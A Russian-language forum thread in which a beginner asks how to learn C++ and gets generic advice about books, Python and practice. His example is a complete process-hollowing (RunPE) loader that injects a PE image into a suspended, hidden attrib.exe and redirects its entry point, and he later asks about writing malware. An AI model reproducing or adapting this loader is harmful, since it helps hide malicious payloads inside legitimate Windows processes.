Загрузка...

Как научиться с++?

Тема в разделе C/C++ создана пользователем rafamont 16 фев 2018. 1991 просмотр

Загрузка...
  1. rafamont
    rafamont Автор темы 16 фев 2018 Пока ты спишь,твой враг качаеться 1 13 мар 2017
    Ребят,учу я с++,но когда я смотрю чужой код - ничего не понимаю,что делать,как и где научиться?
    Вот например это, Как это выучить?

    Код

    int RunPortableExecutable(void* Image) {
    IMAGE_DOS_HEADER* DOSHeader;
    IMAGE_NT_HEADERS* NtHeader;
    IMAGE_SECTION_HEADER* SectionHeader;
    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;
    CONTEXT* CTX;
    DWORD* ImageBase; // base address of the image
    void* pImageBase; // pointer to the image base
    int count;
    char *CurrentFilePath = "C:\\Windows\\System32\\attrib.exe";


    DOSHeader = PIMAGE_DOS_HEADER(Image);
    NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {
    ZeroMemory(&PI, sizeof(PI));
    ZeroMemory(&SI, sizeof(SI));
    typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
    NtUnmapViewOfSection mNtUnmapViewOfSection;



    if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {
    CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
    CTX->ContextFlags = CONTEXT_FULL;
    if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {
    ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
    pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
    NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
    for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
    SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
    LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
    }
    WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
    CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(PI.hThread, LPCONTEXT(CTX));
    ResumeThread(PI.hThread);
    return 0;
    }
    }

    }
    }
    Знаю, что тут есть погромисты. Поможете?
    Что читать чтобы научиться хорошо писать на с++?
     
  2. DirL
    DirL 16 фев 2018 GigaHui 182 20 фев 2017
    https://habrahabr.ru/
     
  3. madwayz1337
    madwayz1337 16 фев 2018 HARDLINE CREW 75 20 дек 2016
    А ещё больше кода не было? В несколько сотен тысяч строк и миллион файлов.
     
  4. rafamont
    rafamont Автор темы 16 фев 2018 Пока ты спишь,твой враг качаеться 1 13 мар 2017
    Я так понял, нормального ответа никто дать не может
     
  5. CTAKAHH
    CTAKAHH 16 фев 2018 142 2 апр 2017
    нужно желание и цель,а всё остальное придёт
     
  6. madwayz1337
    madwayz1337 16 фев 2018 HARDLINE CREW 75 20 дек 2016
    Вообще, лучше начать с питона. Серьёзно. Самый простой и понятный язык. Получай базовые знания из книг/сайтов и пробуй писать какие-то свои маленькие программы. Скачай задачник для программирования и выполняй задания по нему. Если напишешь в телегу, то скину свой madwayz1337.
     
  7. rafamont
    rafamont Автор темы 16 фев 2018 Пока ты спишь,твой враг качаеться 1 13 мар 2017
    Мальвары реально писать на питоне?
    Я слышал, что лучше на с++ писать
     
  8. rafamont
    rafamont Автор темы 16 фев 2018 Пока ты спишь,твой враг качаеться 1 13 мар 2017
    Хах,желание ничего не дает
     
  9. madwayz1337
    madwayz1337 16 фев 2018 HARDLINE CREW 75 20 дек 2016
    У питона огроменный репозиторий. Пиши чё хочешь.
     
  10. Yffhnlol
    Yffhnlol 16 фев 2018 come in stranger 26 24 дек 2017
    это не учить надо назубок...здесь нужна большая практика твоего программирования. Функции необходимо смотреть в документалке и понимать, что они делают и какие оргументы принимаю, а так же их перезагрузку.

    даже люди с хорошим стажем тратят много времени , что бы понять чужой код. именно по этой причине многие говорят, что лучше написать с нуля, чем дописывать функционал или еще адовее, что-то переделать.

    это книги, это ютуб циклы роликов, это практика.
     
  11. 4cher_inactive107131
    4cher_inactive107131 16 фев 2018 Заблокирован(а) 157 27 апр 2017
    Лол, так это уже библиотека c++. Ты в начале выучи сам C++, а потом в библиотеки лезь
     
  12. lioneal
    lioneal 16 фев 2018 59 24 дек 2017
    Ну по мне лучше начинать с паскаля, а так что бы нормально знать C++ то нужно литературу почитать. Для начала начни с переменных и структуры кода. Очень хорошая книга Керниган, Ричи "Язык C", там очень хорошо все описано. Конечно это не C++ но переучится не так уж и сложно.
     
  13. rafamont
    rafamont Автор темы 17 фев 2018 Пока ты спишь,твой враг качаеться 1 13 мар 2017
    Сам с++ я знаю,но с библиотеками туго пздц
     
  14. bomba_bomba
    bomba_bomba 17 фев 2018 БАТЯ В ЗДАНИИ 551 11 июл 2017
  15. Tailasha
    Tailasha 17 фев 2018 Заблокирован(а) 135 5 мар 2017
    А зачем тебе чужой код :D ???
     
  16. Young_294915
    Young_294915 17 фев 2018 Заблокирован(а) 14 9 фев 2018
    хз, мы на инфе проходим xD
     
  17. rafamont
    rafamont Автор темы 17 фев 2018 Пока ты спишь,твой враг качаеться 1 13 мар 2017
    Виндовс апи проходите,или просто с++?
     
  18. Deeroman
    Deeroman 17 фев 2018 Заблокирован(а) 171 5 дек 2016
    Во первых, у Вас должна быть цель.
    Во вторых, Вы не должны лениться
    В третьих, есть книги и YouTube
     
  19. Young_294915
    Young_294915 17 фев 2018 Заблокирован(а) 14 9 фев 2018
    просто
     
  20. L1net_inactive98796
    L1net_inactive98796 17 фев 2018 Заблокирован(а) 240 29 мар 2017

    почти не знаю c++ но в коде вроде разобрался, это видимо дар - этому нельзя научится.. :D
    (смотри и вникай в код, попробуй вникнуть в код а потом посмотреть что он делает - когда начишся понимать что код делает, начнешь понимать сам код)
     
Top